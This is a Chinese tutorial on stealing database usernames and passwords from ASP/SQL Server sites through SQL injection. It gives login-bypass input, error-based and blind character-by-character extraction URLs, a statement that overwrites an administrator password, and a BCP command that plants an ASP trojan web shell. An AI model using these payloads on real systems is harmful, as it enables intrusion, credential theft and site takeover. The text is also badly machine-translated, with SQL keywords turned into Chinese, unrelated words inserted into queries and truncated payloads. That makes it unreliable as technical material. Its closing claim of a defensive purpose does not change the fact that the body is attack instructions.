黑客技术 如何获取服务器里的用户帐号和密码

在数据库中,用户名和密码通常存储在一个表中,黑客就是需要获取这张表以获得用户帐号和密码。这里有两种有效的方法,这两种方法都基于服务器数据库支持远程管理功能。

方法一:注射法:

从理论上讲,身份验证页面将有一个类型,如:

= ‘ XXX ‘ select *从管理员的用户名和密码=“根本”声明,如果正式运行前的这句话,没有必要的字符过滤,很容易实现SQL注入。

在用户名文本框输入:ABC的或1 = 1,在密码框中:123 SQL语句为:

Select *从管理员用户名= ‘ ABC ‘ or 1 = 1和密码=‘123’无论任何用户输入用户名和密码,这句话总能正确的执行,用户容易上当系统,获得合法地位。

方法二:猜解法:

解决所有数据库的名字,想出站的每个表,分析可能是存储用户名和密码表的名称,猜猜表中每个字段的名字,猜表中的每条记录的内容。

HTTP://xxx.xxx.xxx/abc.asp?P = YY(select count(*)从主。dbo。Sysdatabases名称> 1和dbid = 6)< > 0因为dbid值从1到5,是系统使用。所以必须启动用户自己建立6个。我们提交名称> 1(name字段是字段的字符和数值比较会出错),asp工作异常,可以得到第一个数据库名称,同一DBID分别更改为7,8,9,10,11,12…所有可用的数据库名称。

以下假设一直到TestDB数据库名称。

1、猜解数据库中用户名表的名称

猜法:这种方法是基于个人的经验猜测的表的名称,在一般情况下,用户,用户和成员,成员,userlist,memberlist,用户信息,经理,管理,adminuser,systemuser,systemusers,sysuser,sysusers,sysaccounts systemaccounts等。和法官的声明

HTTP://xxx.xxx.xxx/abc.asp?P = YY,从到TestDB(select count(*)。dbo。的表的名称)> 0如果的表的名称,美国广播公司。asp是正常的工作,或者不正常。所以,直到猜系统账户表的名称。

阅读方法:SQL SERVER -有一个存储系统的核心信息表sysobjects,图书馆的所有表,视图,等等。所有的信息都存储在这个表中,可以通过网络访问和表。

当xtype =“U”和状态> 0代表用户的表,发现和分析每个用户建立表和名字,你可以得到用户的名称手表、实现的基本方法是:

(1)HTTP://xxx.xxx.xxx/abc.asp?P = YY,(选择1名从TestD…类型=“U”和状态> 0)> 0是第一个用户建立一个表名,并与整数相比,显然asp工作是不寻常的,但可以发现异常表名。假设找到了表名是xyz,那么

(2)HTTP://xxx.xxx.xxx/abc.asp?P = YY,从到TestDB(选择1名。dbo。Sysobjects &……俄罗斯少女组合> 0和名称而不是(“xyz”))> 0,可以得到第二个用户设置的表的名称,也是建立的表的名称。

据表的名称,我们可以公认存款形式用户用户名和密码,以下假设这个表称为Admin。

2、猜解用户名字段及密码字段名称

管理必须有一个表中的用户名字段,还必须有一个密码字段,只有两个字段的名称可能会得到两个字段的内容。如何让自己的名字,也有以下两个方面。

猜法:这种方法是基于个人经验猜字段名称,一般来说,用户名字段是常用的名称:用户名、姓名、用户账户,等。与常用密码字段的名称:密码,通过,PWD,passwd等。和法官的声明

HTTP://xxx.xxx.xxx/abc.asp?P = YY(从到TestDB选择计数(字段名)。dbo。Admin)> 0 ” select count(字段名)表名”语句表中的行数,所以如果字段名称存在,美国广播公司。asp是正常的工作,或者不正常。如此循环,直到猜两个字段的名称。

阅读:实现的基本方法

HTTP://xxx.xxx.xxx/abc.asp?P = YY,(选择……我(object_id(“admin”),1)从TestDB。dbo。Sysobjects)> 0。选择顶部1 col_name(object_id(“admin”),1)从TestDB。dbo。Sysobjects收到Sysobjects表名已知的第一个字段名称,与整数相比,显然asp工作是不寻常的,但在例外的名称可以在该领域中找到。Col_name(object_id(“admin”),1)变成1的2、3、4、5、6……他们可以得到所有的名称字段。

l3、猜解用户名与密码

猜测用户名和密码的内容最常用和最有效的方法是:

ASCII代码逐字解码方法:这种方法虽然慢,但是它必须是可行的。基本思想是先猜字段的长度,然后依次猜每一个的价值。用户名和猜密码以同样的方式,下面的例子来解释猜测用户的过程。

HTTP://xxx.xxx.xxx/abc.asp?P = YY(选择top&n…从到TestDB花了。dbo。Admin)= X(X = 1、2、3、4、5……n,用户名用户名字段的名称,表名的管理),如果X是我和美国广播公司的一个值。Asp是正常运作,那么我是第一个用户名的长度。如:当输入

HTTP://xxx.xxx.xxx/abc.asp?P = YY,(e)选择最高…从到TestDB。dbo。当ABC管理)= 8。Asp正常运行,第一个用户名的长度为8

HTTP://xxx.xxx.xxx/abc.asp?P = YY(选取……ASCII(substring(用户名、m,1))到TestDB。dbo。Admin)= n(m值在步骤1获取用户名长度之间,当m = 1,2,3,…猜分别在1、2、3、……值;n的值是1 ~ 9,a到z、a到z的ASCII值,这是1到128之间的任何值;系统管理员用户帐户表名),如果n是我和美国广播公司的一个值。Asp正常运行时,相应的ASCII是我特定值的用户名。如:当输入

HTTP://xxx.xxx.xxx/abc.asp?P = YY(选取……ASCII(substring(用户名、3、1))到TestDB。dbo。管理员在ABC)= 80。Asp正常运行,用户名第三80 p ASCII(p);

HTTP://xxx.xxx.xxx/abc.asp?P = YY(选取……ASCII(substring(1)用户名,9日)到TestDB。dbo。当ABC管理)= 33。Asp运营正常,第九的用户名!ASCII是80(!);

猜,第一次用户名和密码后以同样的方式,您可以想其他所有用户名和密码。注意:有时MD5加密后的密码可能方法等信息,还需要使用一个特殊的工具先起飞。或更改其密码,使用后更改回来,见下文。

另外可以使用简单的方法:猜测用户名

HTTP://xxx.xxx.xxx/abc.asp?P = YY,(选择1…O。dmin,用户名> 1),国旗是一个管理表的字段,用户名是用户名字段,美国广播公司。asp的工作是不寻常的,但它可以得到用户名的值。用同样的方法,可以得到第二个用户的名字,第三个用户,等等,直到所有表中的用户名。

猜出用户密码:HTTP://xxx.xxx.xxx/abc.asp?P = YY,(选择1 & nb…B.d。薄熙来管理PWD > 1),国旗是管理表中的一个字段,PWD是密码字段,美国广播公司。asp的工作是不寻常的,但可以PWD的价值。用同样的方法,可以得到第二个用户名密码,第三个用户的密码等等,直到表中所有用户的密码。有时,MD5加密密码可以更改密码。

HTTP://xxx.xxx.xxx/abc.asp?P = YY。更新到TestDB。Dbo。管理员设置PWD = ‘……用户名=“WWW”;MD5值——(1:AAABBBCCCDDDEEEF,即改变密码1;WWW已知的用户名)

当然,以同样的方式改变密码的原始值。

另外如果是不支持远程管理的数据库服务器可以使用表内容导成文件功能:

BCP SQL命令,它可以放在一个文本文件和表的内容在指定的位置。使用这个函数,我们可以先建立一个临时表,然后在表中的一行线进入ASP木马,和BCP命令用于获取ASP文件。

命令行格式如下:

BCP从文本“select * . .下面foo”queryout c:\ inetpub \ \ runcommand asp – c – S localhost U sa – P foobar(S参数执行查询服务器,“U”参数为用户名,密码,“P”参数最终公布runcommand。Asp木马)

最后我想说的是我们学习黑客技术并不是建议大家用技术做黑客,而是了解黑客的入侵原理,才能对自己的网站数据库加以对应的安全保护,知己知彼才能保证数据安全。




顶部